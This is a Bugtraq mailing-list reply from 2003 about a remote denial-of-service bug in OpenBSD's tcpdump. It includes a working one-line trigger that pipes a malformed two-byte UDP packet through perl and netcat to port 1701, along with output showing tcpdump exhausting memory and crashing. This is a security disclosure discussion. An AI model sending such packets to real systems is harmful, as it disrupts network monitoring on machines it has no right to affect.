Bugtraq mailing list archives
Re: Remote crash in tcpdump from OpenBSD
From: Przemyslaw Frasunek <venglin () freebsd lublin pl>
Date: Sat, 20 Dec 2003 23:18:41 +0100
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Henning Brauer wrote:
tcpdump -i lo0 -n udp and dst port 1701 & perl -e 'print "\xff\x02"' | nc -u localhost 1701several developers including me cannot reproduce that on -current.
Sorry for the misinformation, it will not work on a loopback interface, but it's perfectly repetable when receiving/routing such datagram on ethernet interfaces: <root@ext-fw:/var/log:273># uname -smr ; tcpdump -V 2>&1 | head -n 2 OpenBSD 3.3 i386 tcpdump version 3.4.0 libpcap version 0.5 <root@ext-fw:/var/log:274># tcpdump -i xl1 tcpdump: listening on xl1 On the another box: riget:root:~# perl -e 'print "\xff\x02"' | nc -u x.x.x.x 1701 and tcpdump goes mad: [...] invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 [...] consuming all memory. When ulimits are reached, it segfaults. - -- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * * JID: venglin () jabber atman pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV * -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQE/5MrBkxEnBiV4/K0RAg6cAKDEeRwvRvUQxYBtCM2tNNBCBN0x4ACcDFCO fdDXuhskCzmLQiZrmfha38Q= =96ct -----END PGP SIGNATURE-----
Current thread:
- Remote crash in tcpdump from OpenBSD Przemyslaw Frasunek (Dec 20)
- Re: Remote crash in tcpdump from OpenBSD Henning Brauer (Dec 20)
- Re: Remote crash in tcpdump from OpenBSD Przemyslaw Frasunek (Dec 20)
- <Possible follow-ups>
- Re: Remote crash in tcpdump from OpenBSD mrh_tech (Dec 22)
- Re: Remote crash in tcpdump from OpenBSD Henning Brauer (Dec 20)